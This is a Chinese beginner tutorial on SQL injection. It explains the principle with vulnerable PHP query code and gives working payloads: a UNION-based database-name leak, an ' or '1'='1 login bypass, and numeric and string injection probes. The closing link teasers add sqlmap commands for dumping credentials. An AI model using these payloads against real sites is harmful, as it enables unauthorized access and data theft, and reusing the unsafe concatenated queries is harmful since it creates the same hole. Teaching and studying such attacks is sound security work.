SQL注入教程 (一)SQL注入原理

2021-08-04 05:18:30 字數 2892 閱讀 7484

本系列文章將從sql注入基礎講解,面向初學者,循序漸進。

如有不足,敬請指正。

了解sql語言、語法、操作、常用函式

(基本的sql資料庫操作是進行sql注入攻擊的基礎)了解php語言,以及php+sql的常用組合操作

了解**架構、不同資料庫的差異

了解burp suite、sqlmap等工具

了解http基本的get、post方法

本文以假設存在的www.test.com/index.php注入頁面為例

所謂sql注入,就是通過把sql命令插入到 web表單提交 或 url 或 頁面請求等的查詢字串中,最終達到欺騙伺服器執行惡意的sql命令。

即:將構造的sql語句插入到正常提交的字串中,並使伺服器將字串中的命令解析為可執行命令而不是字串。

e.g.-1

www.test.com/index.php的原始碼中有如下的**:

$query="select name from users where id='$_get['id']'

"

以get方式獲取引數id,基於使用者輸入的引數id找到相應的name,正常情況下id為1,2等,比如url為:

此時資料庫執行的命令為:

select name from users where id='1'
但當使用者輸入如下url時:

www.test.com/index.php?id=1' union select database()%23(『%23』為』#』的url編碼,』#』為mysql注釋符,注釋掉後面的語句)

此時資料庫執行的命令是:

select name from users where id='1'

union

select

database()#'

不僅可以得到id為1的name欄位內容,還可以得到當前資料庫名

e.g.-2

當前資料庫存在名為users的表,其中包含username、passwd兩列,該錶存在一條username為admin,passwd為password的資料。

網頁核心原始碼如下:

$query="select * from users where username='$_post['username']'

and passwd='$_post['password']'

"

以post方式獲取使用者輸入的username和password

正常情況下提交的username為admin,password為password方可以驗證成功而登入,且資料庫執行的命令為:

select * from users where username='admin'

and passwd='password'

此時資料庫返回username為admin,password為password的資料項,

但是當只知道username為admin而不知道密碼時怎麼辦呢?

構造username為admin,password為' or '1'='1,此時執行的sql語句為:

select * from users where username='admin'

and passwd=''

or'1'='1'

由於'1'='1'條件恒為真,該語句將返回users表中的所有資料(and優先順序高於or的優先順序,由於表中不存在username='admin' and passwd=''的資料項,則該條件為假,然後結合or '1'='1',條件變為永真,且*為萬用字元,所以該條sql語句變為查詢users表中的所有資料項,由於該錶僅有一條資料項,所以匹配到的就是admin這條資料)

此時雖然不知道密碼,但也可驗證成功而登入。

如果username和password都不知道呢?

其實同理即可

不安全的資料庫配置

這類注入主要特點是不需要考慮引號的閉合,以www.test.com/index.php為例,核心原始碼類似於:

$query="select name from users where id=$_get['id']"

注意與e.g.-1的不同

正常

'執行異常

and 1=1正常

and 1=2執行異常

此方法也可用於測試某頁面是否存在數字型注入。

這類注入需要注意引號的閉合 ,核心原始碼類似如下:

$query="select name from users where id='$_get['id']'

"

正常

'執行異常

' and 1=1執行異常

' and 1=1%23正常

' and '1'='1正常

sql注入還有基於報錯型sql注入、基於布林/時間的sql注入、可聯合查詢的sql注入等等

sql注入教程之型別以及提交注入

目錄 這裡說的引數是原始碼中存在注入程式設計客棧的地方。其中引數型別有 數字 字元 搜尋 json等。其中sql語句干擾符號有 等,過濾首先考慮閉合這些符號,再進行注入測試。例如php中的 name get x www.cppcns.com sql select from user where na...

新or注入教程

記得一年前火狐有一位朋友問,如果乙個站過濾了and和 的話,改怎麼注入啊?當時我隨口說了句 or注入 後來又一次看貼的時候,看到他問我該怎麼利用呢?我就寫了幾個簡單的語句給他,叫他自己變換,他很感激我,還說網上沒有這種方法。我到網上查了查,還真沒有or注入專題呢 or 1 1除外 呵呵,所以,一年後...

SQLmap注入教程

一次sqlmap注入點並且dump出賬號密碼全程 判斷注入點 sqlmap.py u 存在注入url 爆出所有資料庫名字 sqlmap.py u 存在注入url dbs 檢視當前使用賬號 sqlmap.py u 存在注入url current user 1 檢視當前資料庫 sqlmap.py u 存...